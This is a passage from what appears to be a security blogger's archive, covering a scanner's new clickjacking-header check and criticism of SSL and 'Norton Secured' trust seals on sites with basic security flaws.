As many of you will already know, I maintain a little security misconfiguration scanner called ASafaWeb which is the Automated Security Analyser for ASP.NET Websites. As the name suggests, it’s predominantly aimed at security misconfiguration of sites built on the Microsoft stack but its horizons are increasingly being broadened. For example, I recently added support for detecting HTTP only and secure cookies which, of course, works across any web platform that talks in HTTP.

Now I’ve added support for detecting XFO. It’s a real no-brainer for ASafaWeb as it just involves looking at the response headers of one of the requests it already makes so that’s no additional HTTP overhead by way of additional requests. Here’s what a sample scan looks like when no clickjacking defence exists:

You’ll see that ASafaWeb flags it as a warning and there are a few different reasons for that. Firstly, it may be perfectly legitimate not to set an XFO header because there are cases where you want your content to be framed by other sites beyond what is feasible to describe with an ALLOW-FROM value. It’s rare, but there are cases. Secondly, flagging this an error alongside risks such as an exposed ELMAH log or a page stack trace is not really commensurate with the actual risk it poses. I did exactly the same thing with the excessive headers scan for the same reason. Finally, I’m going to take a guess here and say that 90%+ of sites are going to fail this scan. I do store de-identified logs so I’ll be able to validate this assumption once some data is collected, but marking almost every single scan someone does as having an “error” can be counter-productive, particularly when people also have scheduled scans which are only triggered when an error state occurs.

If this post has sparked your interest, go and drop some of your sites into ASafaWeb and you’ll quickly get an idea of how many are at risk of a clickjacking attack. It will almost certainly be many.

More on XFO

It’s interesting to look at how other websites implement XFO. For example, here’s what Facebook does:

X-Frame-Options: DENY

And Twitter:

x-frame-options: SAMEORIGIN

And even GitHub:

X-Frame-Options: deny

On the other hand, let’s look at what our “Big 4” Aussie banks do:

ANZ – no XFO
Commonwealth – nothing there
Westpac – nada
NAB – nope

Now of course the clickjacking risk can only really be exploited when there’s an advantage to be gained by a victim unknowingly clicking on a link, so for example once they’re actually logged on to their bank account and assuming it’s a mere single link click that doesn’t require follow-up action to actually impact a change. Maybe that usage pattern doesn’t exist behind the logons of those banks but at the end of the day, we’re just talking about a few bytes added to the response header so it’s not like implementing XFO is going to cause any tangible adverse impact.

Ultimately, this is just another one of those little additional security value-add features. It’s not exactly in the same league as SQL injection or cross site scripting, but as I’ve written before, it can be a real nuisance when leveraged against features such as a Facebook “like” buttons. Plus of course there are genuine cases where it can cause damage, particularly when combined with other sloppy practices such as far-reaching session expirations. Just add an XFO header and be done with it.

Here’s why you can’t trust SSL logos on HTTP pages (even from SSL vendors)

2013-05-08T22:24:00.001+10:00

A couple of days ago I wrote about Why I am the world’s greatest lover (and other worthless security claims) and it really seemed to resonate with people. In short, whacking a seal on your website that talks about security awesomeness in no way causes security awesomeness. Andy Gambles gets that and shared this tweet with me:

So let’s check out exactly what’s going on here and you really need video to understand the fatal flaw in the logic of SSL logos coming down over HTTPS:

So there you go – it can be that simple. How I MiTM’d the page so easily is not really the point, the point is that an SSL logo on an unprotected page is as good as worthless (and frankly they’re not much good on protected pages either).

Why I am the world’s greatest lover (and other worthless security claims)

2013-05-06T21:21:00.001+10:00

I’ve been considering purchasing one of these t-shirts:

This shirt would announce to everyone who crosses my path that I am, in fact, the world’s greatest lover. They would know this because I have a t-shirt that tells them so and it would give them enormous confidence in my sexual prowess.

If ever I was challenged on the claim, I could quite rightly say that nobody has ever demonstrated that this is not the case and there are no proven incidents that disprove it.

Sound ridiculous? Of course it is but somehow we’ve come to accept this practice – or at least tolerate it – by virtue of images like these:

The futility of this logo struck me last month when I wrote about 5 ways to implement HTTPS in an insufficient manner (and leak sensitive data). Here was a site that despite the assertions of the owner that it was “secure”, sent sensitive data in the clear, had mixed mode HTTP and HTTPS content, sent auth cookies over an insecure connection, didn’t flag sensitive cookies as secure to begin with and relied on HTTP to load the login form. Oh – and had a “Norton Secured” logo.

The futility of the logo really struck me when I read this forum response from Top CashBack after they were asked “how safe are your bank details in TCB”:

The site is secure because it has logos. Not just one logo, but two logos. This is beginning to be reminiscent of the entirely nonsensical padlock icon bitmap.

So what exactly does this logo get you? According to Norton (or rather Symantec who owns the brand), you get consumer trust:

77% of consumers recognize the Norton Secured Seal.
65% of consumers agree that a website displaying the Norton Secured Seal is safe to browse and won’t give them a virus.
55% of consumers agree that a website displaying the Norton Secured Seal means that the website protects their online privacy.

It’s the last two points that I found particularly interesting so I thought I’d take a browse around at sites displaying the logo. Almost every random example I picked where this logo had been used had basic security flaws. Not obscure hypothetical flaws but rather easily observable, readily exploitable flaws.

Versa Lift has mixed mode HTTP and HTTPS when you go to checkout:

MyBinding.com also messes this up:

And then they let you choose a 3 character password. And email it to you:

Then there’s Tanguito dancewear which has many impressive logos:

And no transport layer protection whatsoever on the login (and no, it doesn’t even post over HTTPS which would still be insufficient anyway):

There’s also no HTTPS on the RareFile login (and we have multi-logos again):

None on Chemical Containers inc. either:

Or there’s iMeds with the simplest of reflected XSS:

Continuing with the non-SSL theme, there’s Telegraph Cottages:

But get one illegal character into the URL and we have a case of Yellow Screen of Death via security misconfiguration courtesy of a misconfigured web.config:

And so on and so forth. The list goes on and on and on and, well, there’s a lot.

Of course there’s (unfortunately) nothing unusual about websites getting basic security practices like these wrong but when they do so and claim to have reached some higher moral security ground by virtue of a Norton or McAfee or any other seal then that’s just downright misleading. Claiming that the website is “safe to browse” or that it “protects [consumers’] online privacy” simply by the presence of a bitmap image is way off the mark. Who knows, maybe these cases have simply abused the acceptable use of the imagery but one thing is for sure; they’ve got their basics wrong on the security front and no number of security logos will change that.

If you believe the marketing hype (and I would definitely take this with a grain of salt), one of these little logos could lead to a 11% improvement in sales and 52% lift in sales from paid search. Suddenly the value proposition to websites becomes a lot more tangible and again, it all comes back to establishing trust. Unfortunately it’s just not warranted in so many of the cases where the logo appears.

But of course it begs the question: what exactly do you need to do in order to display this seal which will boost your appeal with consumers? Have your site audited by security professionals? Scanned by a comprehensive dynamic analysis tool? Self-assess against a set of stringent criteria? Nope, you buy one of their SSL certs or have them check there’s no malware on the site:

Now interestingly, in theory, this also means embedding the seal with a piece of script which appears to go some way to verifying the fact that the page displaying the seal is indeed protected with one of their certs. Clearly this isn’t the case in some of the examples above but how is a consumer to know that? And whilst there’s absolutely nothing wrong with a Symantec SSL cert (at least not to my knowledge), when used as intended the presence of the seal merely verifies that the page in which it is embedded is loaded over HTTPS. The whole idea of OWASP calling part 9 of the Top 10 “Insufficient” Transport Layer Protection is that there is far more to SSL than just having a cert; it has to be used correctly!

At the end of the day, the only real difference between the t-shirt at the start of this post and the website badges above is that it’s simple to disprove the claim of the latter.